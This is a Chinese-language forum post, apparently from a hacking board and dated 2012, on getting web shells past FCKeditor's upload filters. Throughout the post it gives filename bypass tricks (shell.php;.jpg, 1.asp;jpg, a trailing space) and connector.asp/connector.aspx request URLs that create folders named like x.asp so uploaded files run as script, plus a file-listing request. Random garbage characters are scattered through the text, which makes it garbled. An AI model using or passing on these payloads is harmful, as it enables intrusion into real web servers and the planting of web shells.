很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg
/ A& X G, F' U* @# `6 v3 Y
, z5 v1 o3 |# U, C提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。9 S' O& i/ j$ [& S/ [ X3 A$ U& q
6 q) [ |8 ~2 [# T& z M m继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。3 @- X2 r7 A( Z
& S, O. ]. r h突破建立文件夹：7 P" v# H" }1 ?5 F& W9 ?3 ^, \
% r5 Q1 V2 k9 |& geditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp- H$ m% }$ j5 x1 q
: p' O0 F* s t3 u2 X3 ^/ x
参数：; Q3 b3 P5 p% u1 ^, s
' n0 c ~+ v4 U8 Q7 k3 ?( @, g当前目录名：CurrentFolder=/qing.asp$ w, U0 i7 O# {0 N/ x, ?) d7 z
1 s& c/ h' o# K- w
新的目录名：NewFolderName=x.asp7 O' J0 S) y3 O, y6 L
9 @7 ~: U4 Q, t: T. z ^& X3 @
其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……
" v1 R6 Z) l& B* G8 J! m( Y
: Z9 T, @9 F3 g1 O1 G& q9 E1 B, r那么 x.asp 就已经建立生成了，此方法百试百灵！+ u. o9 [- I* i2 [
' q8 l- F2 A: X8 e
新建文件夹参数 x.asp，基本都能搞定。 _+ O( T. A+ ]' i! `
, D, j2 F7 A! ^, j& h6 x1 G d下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建5 q7 |' Z( j; V6 W Z9 l g
# n' ]9 v0 w0 e0 C$ ^3 Zaspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp# I; Z4 C& @$ v- j* y. \1 h* O
4 ^' j. H. Z* ?2 e6 o& _+ z' a- D获取文件列表; Q7 r: `1 h6 n1 ~5 A/ g
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F! m8 t' Z1 }. ^
: k; ]2 o- F! |# _9 s* _( M4 M# j
|
发表于 2012-12-31 09:27:09
收藏
支持
反对